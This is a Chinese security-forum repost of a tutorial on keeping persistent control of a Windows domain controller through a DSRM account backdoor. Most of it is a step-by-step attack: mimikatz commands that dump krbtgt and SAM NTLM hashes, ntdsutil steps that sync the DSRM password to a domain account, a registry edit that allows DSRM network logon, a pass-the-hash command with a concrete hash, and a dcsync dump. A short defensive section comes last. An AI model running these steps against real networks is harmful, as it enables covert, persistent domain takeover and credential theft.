安全矩阵

 找回密码
 立即注册
搜索
查看: 879|回复: 0

【福利】内网域渗透 | 域控权限维持DSRM域后门

[复制链接]

252

主题

252

帖子

1309

积分

金牌会员

Rank: 6Rank: 6

积分
1309
发表于 2022-10-18 23:49:32 | 显示全部楼层 |阅读模式
原文链接:【福利】内网域渗透 | 域控权限维持DSRM域后门



0x01 前言


    DSRM (Directory Services Restore Mode, 目录服务恢复模式)是 Windows 域环境中域控制器的安全模式启动选项。每个域控制器都有一个本地管理员账户(也就是 DSRM 账户)。DSRM 的用途是:允许管理员在域环境中出现故障或崩溃时还原、修复、重建活动目录数据库,使域环境的运行恢复正常。在域环境创建初期,DSRM 的密码需要在安装 DC 时设置,且很少会被重置修改 DSRM 密码最基本的方法是在 DC 上运行 ntdsutil 命令行工具。
    在实战中,可以使用DSRM 账号对域环境进行持久化操作。如果域控制器的系统版本为Windows Server 2008,需要安装 KB961320 才可以使用指定域账号的密码对 DSRM 的密码进行同步。在 Windows Server 2008 以后版本的系统中不需要安装此补丁。DSRM 账号可以作为一个域控制器的本地管理员用户,通过网络连接蜮控制器,进而控制域控制器。


0x02 利用前提




使用DSRM账户连接的前提

(1)系统要求:在安装了KB961320补丁的Windows Server 2008及之后的Windows Server版本开始支持在DC上使用指定的域帐户同步DSRM密码
(2)更改DSRM的密码方式:同步域用户的方式
(3)开启支持DSRM账户网络连接:需要修改注册表项,默认没有改项
  1. <code>注册表命令:
  2. </code><code>reg add "HKLM\System\CurrentControlSet\Control\Lsa" /f /v DsrmAdminLogonBehavior /t REG_DWORD /d 2
  3. </code><code>powershell命令:
  4. </code><code>New-ItemProperty "hklm:\system\currentcontrolset\control\lsa" -name "dsrmadminlogonbehavior" -value 2 -propertyType DWORD</code>
复制代码



(4)需要一个域账户的hash
(5)并且需要注意是否会同步域账户(同步dsrm账户后,后门即失效)                 
(6)域控重启后会失效


0x03 实操




获取Krbtgt的NTLM Hash

  1. <code>privilege::debug
  2. </code><code>lsadump::lsa /patch /name:krbtgt</code>
复制代码


编辑

在域控中利用mimikatz查看并读取SAM文件中本地管理员的NTLM Hash
  1. <code>token::elevate
  2. </code><code>lsadump::sam</code>
复制代码


获取DSRM账号的NTLM Hash
编辑

修改/同步DSRM密码
  1. <code>• NTDSUTIL:打开ntdsutil
  2. .</code><code>• set dsrm password:设置 DSRM 的密码。
  3. </code><code>• reset password on server null:在当前域控制器上恢复 DSRM 密码。
  4. </code><code>• <PASSWORD>:修改后的密码。
  5. </code><code>•q(第1次):退出 DSRM 密码设置模式。
  6. </code><code>•q(第2次):退出 ndsutilo</code>
复制代码


如果域控的系统版本为 Windows Server 2008(已安装 KB961320)及以上,可以将 DSRM密码同步为己存在的城账号密码。

  1. <code>•NTDSUTIL:打开 ntdsutilo
  2. </code><code>• SET DSRM PASSWORD:设置 DSRM的密码
  3. </code><code>• SYNC FROM DOMAIN ACCOUNT domainusemame:使 DSRM 的密码和指定域用户的密码同步</code><code>
  4. •重置DSRM 管理员密码:q
  5. </code><code>• ntdsutl:q</code>
复制代码




DSRM账号和krbtgt的NTLM Hash同步
编辑


查看DSRM的NTLM Hash是否同步成功
编辑

修改DSRM登录方式
  1. <code>0:默认值,只有当域控制器重启并进人DSRM 模式时,才可以使用 DSRM 管理员账号。
  2. </code><code>1:只有当本地 AD、DS 服务停止时,才可以使用 DSRM管理员账号登录域控制器。
  3. </code><code>2:在任何情况下,都可以使用 DSRM管理员账号登录域控制器。</code>
复制代码



在实战中,需要注意在 Windows Server 2000 以后版本的操作系统中,对DSRM 使用控制台登录域控进行了限制。如果要使用 DSRM 账号通过网络登录域控制器,需要将该值设置为2。我这里演示用PowerShell进行修改
  1. <code class="hljs">New-ItemProperty "hklm:\system\currentcontrolset\control\lsa" -name "dsrmadminlogonbehavior" -value 2 -propertyType DWORD</code>
复制代码


编辑

使用DSRM账号访问域控
在域成员机器上就可以通过mimikatz,使用域控的本地Administrator账号哈希传递攻击域控了‍。

  1. <code class="hljs">sekurlsa::pth /domain:OWA2010SP3 /user:administrator /ntlm:a3490225625b7bcb900495ca1d43913e</code>
复制代码


编辑
注意,在这里,/domain 选项不是填写域名!而是域控的机器名(OWA2010SP3)一定要注意!

下图是个错误的演示

编辑

利用DSRM账号访问域控,使用dcsync功能远程转储krbtgt的NTLM Hash

编辑


0x04 防御措施



定期检查注册表中用于控制 DSRM 登录方式的键值 HIKLM\System CurrentContro Set Control Lsa DsrmAdminLogonBehavior,确认该键值为 1,或者删除该键值
定期修改域中所有域控制器的 DSRM 账号。
经常检查 DD 为 4794 的日志。尝试设置活动目录服务还原模式的管理员密码会被记录在4794 日志中


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 11:54 , Processed in 0.012692 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表